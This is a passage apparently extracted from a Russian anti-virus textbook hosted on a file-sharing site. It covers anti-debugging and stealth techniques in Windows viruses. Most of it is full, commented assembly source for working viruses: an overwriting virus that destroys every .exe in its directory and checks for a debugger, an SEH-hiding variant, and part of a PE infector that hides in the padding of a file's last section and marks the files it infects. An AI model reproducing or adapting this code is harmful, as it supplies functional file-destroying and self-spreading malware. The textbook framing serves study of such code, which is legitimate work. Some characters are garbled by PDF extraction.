Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

Windows вирусы

221

 

 

5.2. Усиление кода

Как было упомянуто в предыдущих главах, усиление кода — это такая вирусная техника, которая ориентирована на обман или вывод из строя отладчиков и дизассемблеров. Несмотря на то что данная техника очень стара, она не теряет своей актуальности и сегодня. Начнем с методов борьбы с отладчиками и со встроенных в Windows возможностей обнаружения отладчиков. В операционных системах Windows, начиная с Windows NT, существует функция IsDebuggerPresent. Данная функция аргументов не получает, а в качестве результата возвращает 1, если отладчик обнаружен, и 0 в противном случае.

Использовать ее довольно легко:

//---------------------------------------------

if (!IsDebuggerPresent()) goto no_debugger //........................................

no_debugger: //---------------------------------------------

Если покопаться в самой функции IsDebuggerPresent, мы обнаружим, что она состоит всего из четырех команд:

;----------------------------------------------

 

mov

eax,fs:[018h]

mov

eax,[eax+30h]

movzx

eax,byte ptr [eax+02]

ret

 

;----------------------------------------------

 

Можно использовать первые три команды прямо в коде своей программы, если не очень хочется использовать функцию IsDebuggerPresent.

Рассмотрим использование второго способа, потому как реализация первого вообще тривиальна.

Рассмотрим листинг:

;----------------------------------------------

.386

.model flat

;Далее идут импортируемые функции

 

extrn

ExitProcess:PROC

 

extrn

FindFirstFileA:PROC

 

extrn

CopyFileA:PROC

 

extrn

GetCommandLineA:PROC

 

extrn

FindNextFileA:Proc

 

extrn

lstrcpyA:PROC

 

extrn

FindClose:PROC

 

.data

 

 

; Область данных

EXE_file

DB

'*.exe',0

; Маска поиска файлов

find_file

db

313 dup(?)

; Переменная типа WIN32_FIND_DATA

host_name

db

100 dup(?)

; Переменная для имени файла

Find_data_name

equ

2ch

; Смещение на имя файла в WIN32_FIND_DATA

Fhandle

dd

?

; Хэндл поиска

msg1

db

'[ WIN32 OVERWRITER VIRUS -=w32.tulen'=- ]' ; Имя вируса

222

 

 

Windows вирусы

 

 

 

 

.code

 

 

;

;----------------------------------------------

 

 

 

start:

 

; С этого места начинается программа

mov

eax,fs:[00000018h]

;

Вот это и есть содержание функции WIN API

mov

eax,[eax+30h]

;

IsDebuggerPresent

movzx

eax,byte ptr [eax+02];

Если мы выполняемся под отладчиком,

cmp

eax,0

;

то переходим

jne

exit

;

на завершение программы

Call

GetCommandLineA

;

Данной функции параметры не передаются

push

eax

;

Кладем в стек смещение на командную строку

push

offset host_name

;

Копируем ее в переменную host_name

 

 

;

 

call

lstrcpyA

; Вызываем функцию копирования строки

;----------------------------------------------

;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)

;Возвращает хэндл поиска

push

OFFSET find_file

; Кладем в стек смещение на find_file

push

OFFSET EXE_file

; Кладем в стек смещение на маску поиска

call

FindFirstFileA

; Вызываем функцию FindFirstFileA

cmp

EAX, -1

; Если нет ни одного нужного нам файла,

je

End_it

; то идем на выход

 

 

; Иначе

mov

[Fhandle],eax

; в переменной Fhandle сохраняем хэндл поиска

;----------------------------------------------

 

 

infect:

 

 

 

 

; Функции CopyFileA говорим о том, что будем

push

0

; при копировании файл перезаписывать

push

offset find_file + Find_data_name ; Куда копируем

push

offset host_name

; Откуда копируем

call

CopyFileA

; Вызов функции копирования

Call

Fnext

; Вызываем процедуру поиска следующего файла

cmp

eax,0

; Если eax равен 0, то файлов больше нет

jne

infect

; Идем на выход

End_it:

 

 

push

offset [Fhandle]

; Кладем в стек хэндл поиска

call

FindClose

; и вызываем функцию закрытия поиска

exit:

 

 

push

0

; Кладем в стек 0

call

ExitProcess

; и вызываем функцию завершения программы

;----------------------------------------------

 

 

Fnext:

 

; Процедура поиска следующего файла

;bool FindNextFileA( handle, pointer find_file)

;Возвращает 0, если файлов больше нет, и 1 в обратном случае

push

offset find_file

;

Кладем в стек

смещение на find_file

push

[Fhandle]

;

Кладем в стек

хэндл

call

FindNextFileA

;

Вызываем функцию поиска следующего файла

Windows вирусы

223

 

 

ret

; Возврат из процедуры

;----------------------------------------------

 

end

start

;----------------------------------------------

 

Представленный выше вирус перезаписывает все файлы в текущей директории, но если он определит, что запущен из-под отладчика, то сразу следует завершение работы данного вируса. Будем надеяться, что это усложнит понимание сути работы данного вируса. На самом деле вирус очень прост, и данный антиотладочный трюк был использован с целью демонстрации техники. Этот трюк можно весьма эффективно использовать в других вирусах.

Также эффективной защитой нашего вирусного кода будет запрятывание его в SEH. Что же такое SEH? Это структурированный обработчик исключений. Вот, к примеру, если мы пытаемся писать в ядро, то будет вызываться исключение. Мы имеем возможность подменить оригинальный обработчик SEH своим собственным. Вначале нам необходимо сохранить оригинальный обработчик SEH:

;----------------------------------------------

 

push

dword ptr fs:[0]

;----------------------------------------------

 

Теперь нам необходимо заменить оригинальный обработчик на свой вирусный:

;----------------------------------------------

 

push

offset SEH_Handler

mov

fs:[0],esp

;----------------------------------------------

 

Восстановление оригинального обработчика в нашем случае будет производиться следующей инструкцией:

;----------------------------------------------

 

pop

dword ptr fs:[0]

;----------------------------------------------

 

Данная инструкция восстанавливает из стека оригинальный обработчик SEH.

Рассмотрим листинг:

;----------------------------------------------

 

 

.386p

 

 

.model

flat

 

extrn

ExitProcess:PROC

extrn

FindFirstFileA:PROC

extrn

CopyFileA:PROC

extrn

GetCommandLineA:PROC

extrn

FindNextFileA:Proc

extrn

lstrcpyA:PROC

extrn

FindClose:PROC

extrn

MessageBoxA:PROC

.data

 

 

EXE_file

DB

'*.exe',0

224

 

 

Windows вирусы

 

 

 

 

find_file

db

313 dup(?)

; Данные

host_name

db

100 dup(?)

 

Find_data_name

equ

2ch

 

Fhandle

dd

?

 

.code

 

 

 

;----------------------------------------------

 

 

 

start:

 

 

 

pop

ebx

; Берем адрес для вызова исключения

call

 

setupSEH

;

exceptionhandler:

 

 

mov

 

esp,[esp+8]

; Ошибка дает нам старый ESP

 

 

 

; â [ESP+8]

Call

 

GetCommandLineA

; Данной функции параметры не передаются

push

 

eax

; Кладем в стек смещение на командную строку

push

offset host_name

; Копируем ее в переменную host_name

 

 

 

;

call

 

lstrcpyA

; Вызываем функцию копирования строки

;----------------------------------------------

;Функция FindFirstFileA(LPSTR lpszSearchFile, LPWIN32_FIND_DATA lpffd)

;Возвращает хэндл поиска

push

OFFSET find_file

; Кладем в стек смещение на find_file

push

OFFSET EXE_file

; Кладем в стек смещение на маску поиска

call

FindFirstFileA

; Вызываем функцию FindFirstFileA

cmp

EAX, -1

; Если нет ни одного нужного нам файла,

je

End_it

; то идем на выход

 

 

; Иначе

mov

[Fhandle],eax

; в переменной Fhandle сохраняем хэндл поиска

;----------------------------------------------

 

 

infect:

 

 

 

 

; Функции CopyFileA говорим о том, что будем

push

0

; При копировании файл перезаписывать

push

offset find_file + Find_data_name ; Куда копируем

push

offset host_name

; Откуда копируем

call

CopyFileA

; Вызов функции копирования

Call

Fnext

; Вызываем процедуру поиска следующего файла

cmp

eax,0

; Если eax равен 0, то файлов больше нет

jne

infect

; Идем на выход

End_it:

 

 

push

offset [Fhandle]

; Кладем в стек хэндл поиска

call

FindClose

; и вызываем функцию закрытия поиска

exit:

 

 

push

0

; Кладем в стек 0

call

ExitProcess

; и вызываем функцию завершения программы

;----------------------------------------------

 

 

Fnext:

 

; Процедура поиска следующего файла

;bool FindNextFileA( handle, pointer find_file)

;Возвращает 0, если файлов больше нет, и 1 в обратном случае

Windows вирусы

225

 

 

 

 

 

push

offset find_file

; Кладем в стек смещение на find_file

 

push

[Fhandle]

; Кладем в стек хэндл

 

call

FindNextFileA

; Вызываем функцию поиска следующего файла

 

ret

 

; Возврат из процедуры

;----------------------------------------------

 

 

 

 

push

00000000h

 

 

call

ExitProcess

; Выходим из приложения

;----------------------------------------------

 

 

 

setupSEH:

 

 

 

push

dword ptr fs:[0]

; Push'им оригинальный

 

 

 

; обработчик SEH

 

mov

fs:[0],esp

; и помещаем новый (который

 

 

 

; находится после первого

 

 

 

; call)

 

 

 

; Пытаемся писать в ядро (что

 

mov

eax,012345678h

; вызовет исключение)

 

xchg

eax,[ebx]

 

end

start

 

 

;----------------------------------------------

 

 

 

Мы рассмотрели основные способы защиты от отладчиков, но стоит заметить, что некоторые из них работают и против эмуляторов.

В качестве защиты от дизассемблирования можно применять традиционный способ — перекрывающийся код.

Лечение данного вируса примитивно, но довольно серьезно затруднен его анализ. По этой причине придется затратить гораздо больше времени на анализ данного вируса.

5.3. Стелс-механизмы

Как и в DOS-вирусах, в Windows системах существуют возможности для написания стелс-вирусов. Как вы уже знаете, они бывают с полным стелс-меха- низмом и неполным. При неполном стелс-механизме вирус маскирует только свою длину, а при полном он полностью прячет свое тело при обращении к файлу (естественно, длина также маскируется). Написание полноценного стелс-ви- руса под Windows системы очень трудоемко, так как в различных системах семейства Windows существуют серьезные различия. И вторая причина — это разграничение уровня доступа (ring3 и ring0), полный стелс возможен только в ring0. По большей части в ring0 работают драйвера, а программы могут попасть

âring0 в результате различных ошибок в безопасности операционной системы.

Âданной главе мы напишем полу-стелсвирус, который будет использовать технику «неизменения точки входа». А для маскировки длины вирус будет поселяться в области нулей последней секции.

Рассмотрим алгоритм функционирования вируса: 1) найти файл, возможную жертву;

2) проверить не инфицирован ли он, если да то на шаг 5;

226

Windows вирусы

 

 

3)проверить достаточно ли там нулей, для размещения тела вируса, если нет, то на шаг 5;

4)если достаточно, то инфицируем файл, записывая в начала кода процедуру передачи управления на тело вируса, а в конце файла в области нулей само тело вируса;

5)ищем следующий файл, если файлов нет, то на шаг 6;

6)передаем управление оригинальной программе;

Следует рассмотреть, как выглядит файл до инфицирования и после: а) до инфицирования:

б) после инфицирования:

Благодаря такой методике инфицирования размер инфицированной программы не увеличивается. Единственным недостатком данного вируса является то, что он ориентирован на конкретные адреса функций, поэтому он не будет работать ни на каких системах, кроме Windows XP. Данный недостаток легко исправляется модификацией адресов функций.

Рассмотрим листинг:

;----------------------------------------------

.386

.model flat

extrn

ExitProcess:PROC

 

.data

 

 

;Начало кода

start:

 

 

 

;----------------------------------------------

 

 

 

 

call

delta

;

delta:

 

 

; Получение дельта

 

pop

ebp

; смещения

 

sub

ebp,offset delta

;

Windows вирусы

227

 

 

 

lea

eax,dword ptr[ebp+find_file]

; Поиск файла-жертвы

push

eax

;

lea

eax,dword ptr[ebp+mask1]

;

push

eax

;

lea

eax,dword ptr[ebp+FindFirstFileA]

;

call

[eax]

;

cmp

EAX, -1

; Если файл не найден

je

End_it

; завершаем работу

mov

[ebp+Fhandle],eax

; Сохраняем хэндл поиска

pop

edi

; Вызов подпрограммы

call

restore

; для передачи управления

 

 

; оригинальной программе

zaraza:

 

 

mov

edx,dword ptr [ebp+find_file+20h]

; В edx помещаем длину файла

mov

[ebp+memory],edx

; и сохраняем ее в memory

call

infect

; Вызов функции

 

 

; инфицирования

call

FindNext

; Вызов подпрограммы поиска

 

 

; следующего файла

cmp

eax,0

; Если файлы закончились,

jne

zaraza

; то и заражать нам нечего

cmp

[ebp+ret_addr],0

; Если адрес возврата = 0

je

konec

; то мы стартовали без

 

 

; программы-носителя

 

 

; Завершаем работу

push

[ebp+ret_addr]

; Передаем управление

ret

 

; программе-носителю

;----------------------------------------------

 

konec:

 

 

push 0

; Вызываем WIN API функцию

lea eax,[ebp+ExitProcessV]

; ExitProcess

call [eax]

;

;----------------------------------------------

 

infect:

 

 

push

0

;

push

00000080h

;

push

3

; Открываем файл жертву

push

0

; для чтения/записи

push

00000001h OR 00000002h

;

push

40000000h OR 80000000h

;

lea

eax,[ebp+find_file+2ch]

;

push

eax

;

lea

eax,[ebp+CreateFileA]

;

call

[eax]

;

cmp

eax,-1

; Если ошибка, то выходим

je

End_it

; из процедуры инфицирования

mov

dword ptr [ebp+fHnd],eax

; Сохраняем хэндл файла

;----------------------------------------------

 

 

228

 

Windows вирусы

 

 

 

push

0

;

push

dword ptr [ebp+offset memory]

; Макс. размер = memory

push

0

; Минимальный размер = 0

push

4

; Доступ для чтения/записи

push

0

;

push

dword ptr [ebp + offset fHnd]

 

lea

eax,[ebp + offset CreateFileMappingA]

call

[eax]

; eax = новый хэндл

mov

[ebp + offset mHnd],eax

; Сохраняем его

or

eax, eax

; Проверяем если он не 0

jz

CloseFile

; Если 0 закрываем файл

push

dword ptr[ebp + memory]

; Количество памяти

push

0

;

push

0

;

push

2

;

push

dword ptr[ebp+mHnd]

; Хэндл на память

lea

eax,[ebp + offset MapViewOfFileA]

;

call

[eax]

 

or

eax, eax

jz

CloseMap

mov

esi,eax

mov

[ebp + offset mapaddress],esi

;----------------------------------------------

 

call

test2

cmp

eax,-1

je

exit

call

find_zeros

cmp

esi,0

je

exit

call

find_entry

call

find_code

call

chattr

call

lichina

;Если ошибка, то на выход

;Положим в esi указатель

;íà ôàéë â

;памяти и сохраняем его

;Вызываем проверку на

;инфицированность. Если

;заражен, то двигаемся к

;выходу

;Ищем нули в конце файла, и

;проверяем, если их меньше,

;÷åì íàäî,

;движемся к выходу

;Ищем точку входа

;Ищем начало кода

;Меняем атрибуты нужных

;нам секций

;Помещаем переход на тело

;вируса

;в начало файла

mov

edi,[ebp+zeros_place]

; Перемещаем тело вируса

lea

esi,[ebp+start]

; в область нулей

mov

ecx,finish-start

;

rep

movsb

;

exit:

 

 

;----------------------------------------------

 

 

push

dword ptr [ebp + offset mapaddress]

lea

eax, [ebp + UnmapViewOfFile]

 

call

[eax]

 

CloseMap:

 

 

push

dword ptr [ebp+mHnd]

; Закрываем память

Windows вирусы

229

 

 

 

lea

eax,[ebp+CloseHandle]

;

call

[eax]

;

CloseFile:

 

 

push

dword ptr [ebp+fHnd]

; Закрываем файл

lea

eax,[ebp+CloseHandle]

;

call

[eax]

;

End_it:

ret

; Возврат из процедуры

;----------------------------------------------

 

 

FindNext:

 

 

lea

eax,[ebp+find_file]

;

push

eax

; Поиск следующего

push

dword ptr[ebp+Fhandle]

; файла

lea

eax,[ebp+FindNextFileA]

;

call

[eax]

;

ret

 

; Возврат из процедуры

;----------------------------------------------

 

 

test2:

 

 

mov

ax,word ptr[esi+38h]

; Проверка на

 

 

; инфицированность

cmp

ax,'nf'

; Если файл не заражен,

je

infected

; то eax не равно -1

mov

eax,0

;

ret

 

;

infected:

 

 

mov

eax,-1

; Если заражен, то равно

ret

 

;

;----------------------------------------------

 

 

find_zeros:

 

 

push

esi

; Сохраняем esi в стеке

add

esi,dword ptr[ebp+find_file+20h]

; Добавляем к нему размер

 

 

; файла

sub

esi,2

; Отнимаем 2

push

esi

; и опять кладем esi в стек

std

 

; Включаем флаг направления

ishem:

lodsb

;

cmp

al,0

;

je

ishem

; Ищем, где заканчиваются 0

add

esi,2

; Добавляем 2

pop

ecx

; Восстанавливаем esi в ecx

sub

ecx,esi

; Дальше мы проверяем,

cmp

ecx,finish-start

; достаточно ли нам нулей

jge

next3

; èëè íåò

pop

esi

; Если нет, то сбрасываем

mov

esi,0

; esi â 0

ret

 

; и выходим из подпрограммы

next3:

 

 

mov

[ebp+zeros_place],esi

; Если места достаточно,

cld

 

; то сохраним на него

pop

esi

; указатель

ret

 

; Возврат из процедуры

;----------------------------------------------

 

 

230

 

Windows вирусы

 

 

 

lichina:

 

 

push

edi esi

; Устанавливаем метку

mov

ax,'nf'

; зараженности

mov

word ptr [esi+38h],ax

;

mov

edi,esi

;

mov

edx,esi

;

add

edx,dword ptr [edx+3ch]

;

mov

edi,[ebp+start_code]

; Помещаем физическое

 

 

; смещение начала кода

add

edi,esi

; Добавляем адрес памяти,

 

 

; где он сейчас находится

push

edi

;

mov

esi,edi

; Читаем оттуда 31 байт и

lea

edi,[ebp+saved_bytes]

; сохраняем их в теле вируса

mov

ecx,31

;

rep

movsb

;

pop

edi

; После этого записываем

 

 

; òóäà

mov

al,0beh

;

stosb

 

; свои байты, которые будут

mov

eax,[edx+28h]

; передавать управление

add

eax,[edx+34h]

; вирусу

stosd

 

;

lea

esi,[ebp+redirect_bytes]

;

mov

ecx,26

;

rep

movsb

;

pop

esi edi

; Восстанавливаем регистры

ret

 

; и выходим из подпрограммы

;----------------------------------------------

 

chattr:

 

 

push

esi edi

; Сохраняем esi, edi

add

esi,dword ptr [esi+3ch]

; Теперь esi указывает

mov

edi,esi

; íà "PE"

mov

ebx,[esi + 74h]

;

shl

ebx,3

; Получаем

xor

eax,eax

 

mov

ax,word ptr [esi + 6h]

; количество объектов

dec

eax

; Нам нужна последняя секция

mov

ecx,28h

; заголовок секции

mul

ecx

; * размер заголовка

add

esi,78h

; теперь esi указывает на

add

esi,ebx

; начало последнего

add

esi,eax

; заголовка секции

or

dword ptr [esi + 24h],00000020h or 20000000h or 80000000h

 

 

; Меняем атрибуты у

 

 

; последней секции

mov

eax,[esi+10h]

; Увеличиваем виртуальный

 

 

; размер

mov

dword ptr [esi+08h],eax

; секции до реального

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]